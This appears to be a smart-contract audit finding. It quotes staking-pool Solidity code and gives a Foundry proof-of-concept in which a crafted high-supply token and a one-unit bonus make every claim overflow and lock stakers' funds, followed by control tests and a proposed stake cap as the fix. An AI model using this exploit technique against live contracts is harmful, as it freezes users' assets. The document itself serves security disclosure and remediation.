function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
}
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
_clampUserSums(msg.sender);
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
emit Staked(msg.sender, received);
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
totalBonus += received;
emit BonusContributed(msg.sender, received);
}
function claimSurvived() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED) revert OutcomeNotSet();
if (hasClaimed[msg.sender]) revert InvalidAmount();
uint256 userEligible = eligibleStake[msg.sender];
if (userEligible == 0) revert InvalidAmount();
_clampUserSums(msg.sender);
hasClaimed[msg.sender] = true;
uint256 bonusShare = _bonusShare(msg.sender, userEligible);
uint256 payout = userEligible + bonusShare;
totalEligibleStake -= userEligible;
claimedBonus += bonusShare;
delete eligibleStake[msg.sender];
delete userSumStakeTime[msg.sender];
delete userSumStakeTimeSq[msg.sender];
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(msg.sender, payout);
emit ClaimSurvived(msg.sender, userEligible, bonusShare);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
The PoC token is a fixed-supply, exact-transfer OpenZeppelin ERC20 with no fee, rebase, callback, proxy, blacklist, or later mint path. Its unusual raw supply is the compatibility precondition; high decimals only make that raw magnitude representable as a small displayed token quantity. EIP-20 defines decimals() as optional uint8 metadata, and OpenZeppelin documents that decimals do not affect balance or transfer arithmetic. EIP-20 OpenZeppelin ERC20 documentation
pragma solidity 0.8.26;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract AuditStandardERC20 is ERC20 {
uint8 internal immutable tokenDecimals;
constructor(uint8 decimals_, uint256 initialSupply) ERC20("High Decimal Standard Token", "HIGH") {
tokenDecimals = decimals_;
_mint(msg.sender, initialSupply);
}
function decimals() public view override returns (uint8) {
return tokenDecimals;
}
}
contract ConfidencePoolArithmeticAndRoundingPoC is BaseConfidencePoolTest {
uint256 internal constant AUDIT_TIMESTAMP = 1_784_160_000;
function setUp() public override {
super.setUp();
vm.warp(AUDIT_TIMESTAMP);
}
function _deployWithToken(AuditStandardERC20 customToken) internal returns (ConfidencePool deployedPool) {
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(customToken), true);
deployedPool = ConfidencePool(
factory.createPool(agreement, address(customToken), block.timestamp + 31 days, 1, recovery, _defaultScope())
);
}
function _stakeCustom(ConfidencePool target, AuditStandardERC20 customToken, address staker, uint256 amount)
internal
{
assertTrue(customToken.transfer(staker, amount));
vm.startPrank(staker);
customToken.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _contributeCustomBonus(
ConfidencePool target,
AuditStandardERC20 customToken,
address contributor,
uint256 amount
) internal {
assertTrue(customToken.transfer(contributor, amount));
vm.startPrank(contributor);
customToken.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
function _firstToxicAggregate(uint256 riskStart, uint256 terminalT) internal pure returns (uint256) {
return type(uint256).max / (terminalT * terminalT + riskStart * riskStart) + 1;
}
function _deployTwoStakerToxicPool(uint256 riskStart, uint256 terminalT)
internal
returns (
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
)
{
toxicAggregate = _firstToxicAggregate(riskStart, terminalT);
aliceStake = toxicAggregate / 2;
bobStake = toxicAggregate - aliceStake;
customToken = new AuditStandardERC20(60, toxicAggregate + 1);
target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, aliceStake);
_stakeCustom(target, customToken, bob, bobStake);
}
function _assertOnlyGlobalPositiveSumOverflows(
uint256 aggregate,
uint256 firstStake,
uint256 secondStake,
uint256 riskStart,
uint256 terminalT
) internal pure {
uint256 max = type(uint256).max;
uint256 globalTerminalTerm = terminalT * terminalT * aggregate;
uint256 globalSquareMoment = aggregate * riskStart * riskStart;
uint256 globalMinus = 2 * terminalT * aggregate * riskStart;
assertLe(globalMinus, max);
assertGt(globalTerminalTerm, max - globalSquareMoment);
uint256 trueGlobalScore = aggregate * (terminalT - riskStart) * (terminalT - riskStart);
assertLt(trueGlobalScore, max);
uint256 firstSquareMoment = firstStake * riskStart * riskStart;
uint256 secondSquareMoment = secondStake * riskStart * riskStart;
uint256 firstMinus = 2 * terminalT * firstStake * riskStart;
uint256 secondMinus = 2 * terminalT * secondStake * riskStart;
assertLe(firstMinus, max);
assertLe(secondMinus, max);
assertLe(terminalT * terminalT * firstStake, max - firstSquareMoment);
assertLe(terminalT * terminalT * secondStake, max - secondSquareMoment);
}
function testPoC_OneRawBonusUnitFreezesEveryExpiredClaimAtTheGlobalScore() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
(
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
) = _deployTwoStakerToxicPool(riskStart, terminalT);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
assertEq(target.eligibleStake(carol), 0);
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.totalBonus(), 1);
assertEq(target.sumStakeTimeSq(), toxicAggregate * riskStart * riskStart);
_assertOnlyGlobalPositiveSumOverflows(toxicAggregate, aliceStake, bobStake, riskStart, terminalT);
vm.warp(terminalT);
vm.prank(carol);
target.claimExpired();
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(target.claimsStarted());
assertEq(target.snapshotTotalStaked(), toxicAggregate);
assertEq(target.snapshotTotalBonus(), 1);
uint256 frozenBalance = customToken.balanceOf(address(target));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimExpired();
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(bob);
target.claimExpired();
assertFalse(target.hasClaimed(alice));
assertFalse(target.hasClaimed(bob));
assertEq(target.eligibleStake(alice), aliceStake);
assertEq(target.eligibleStake(bob), bobStake);
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.claimedBonus(), 0);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
target.sweepUnclaimedBonus();
assertEq(customToken.balanceOf(address(target)), frozenBalance);
assertEq(customToken.balanceOf(alice), 0);
assertEq(customToken.balanceOf(bob), 0);
assertEq(customToken.balanceOf(carol), 0);
}
function testPoC_OneRawBonusUnitAlsoFreezesEverySurvivedClaim() external {
uint256 riskStart = AUDIT_TIMESTAMP + 1 days;
uint256 terminalT = riskStart + 3 days;
(
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
) = _deployTwoStakerToxicPool(riskStart, terminalT);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
_assertOnlyGlobalPositiveSumOverflows(toxicAggregate, aliceStake, bobStake, riskStart, terminalT);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PROMOTION_REQUESTED);
vm.warp(terminalT);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertFalse(target.claimsStarted());
uint256 frozenBalance = customToken.balanceOf(address(target));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimSurvived();
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(bob);
target.claimSurvived();
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
target.sweepUnclaimedBonus();
assertFalse(target.claimsStarted());
assertFalse(target.hasClaimed(alice));
assertFalse(target.hasClaimed(bob));
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.claimedBonus(), 0);
assertEq(customToken.balanceOf(address(target)), frozenBalance);
}
function testControl_LastSafeAggregateClaimsPrincipalAndBonus() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
uint256 denominator = terminalT * terminalT + riskStart * riskStart;
uint256 lastSafeAggregate = type(uint256).max / denominator;
AuditStandardERC20 customToken = new AuditStandardERC20(60, lastSafeAggregate + 1);
ConfidencePool target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, lastSafeAggregate);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
assertLe(terminalT * terminalT * lastSafeAggregate, type(uint256).max - target.sumStakeTimeSq());
vm.warp(terminalT);
vm.prank(alice);
target.claimExpired();
assertTrue(target.hasClaimed(alice));
assertEq(target.claimedBonus(), 1);
assertEq(target.totalEligibleStake(), 0);
assertEq(customToken.balanceOf(alice), lastSafeAggregate + 1);
assertEq(customToken.balanceOf(address(target)), 0);
}
function testControl_ToxicAggregateWithoutTrackedBonusReturnsPrincipal() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
uint256 toxicAggregate = _firstToxicAggregate(riskStart, terminalT);
AuditStandardERC20 customToken = new AuditStandardERC20(60, toxicAggregate);
ConfidencePool target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, toxicAggregate);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
target.pokeRiskWindow();
assertEq(target.riskWindowStart(), riskStart);
vm.warp(terminalT);
vm.prank(alice);
target.claimExpired();
assertEq(target.snapshotTotalBonus(), 0);
assertTrue(target.hasClaimed(alice));
assertEq(target.totalEligibleStake(), 0);
assertEq(customToken.balanceOf(alice), toxicAggregate);
assertEq(customToken.balanceOf(address(target)), 0);
}
}
No fork test is required. The PoC deploys the real UUPS factory proxy, uses the production token allowlist and createPool clone path, and isolates the in-scope arithmetic with the repository's registry test double.
Enforce a conservative aggregate-stake invariant whenever stake is admitted, before crediting the new stake's moments. Since every effective entry time and terminal time is at most expiry, capping total eligible stake at M / (2 * expiry²) keeps each positive term at most M/2, keeps their sum representable, and also bounds the doubled first-moment term and _markRiskWindowStart() reset.
A decimals-only restriction is insufficient because the invariant depends on raw aggregate stake and the maximum future timestamp, not on display metadata.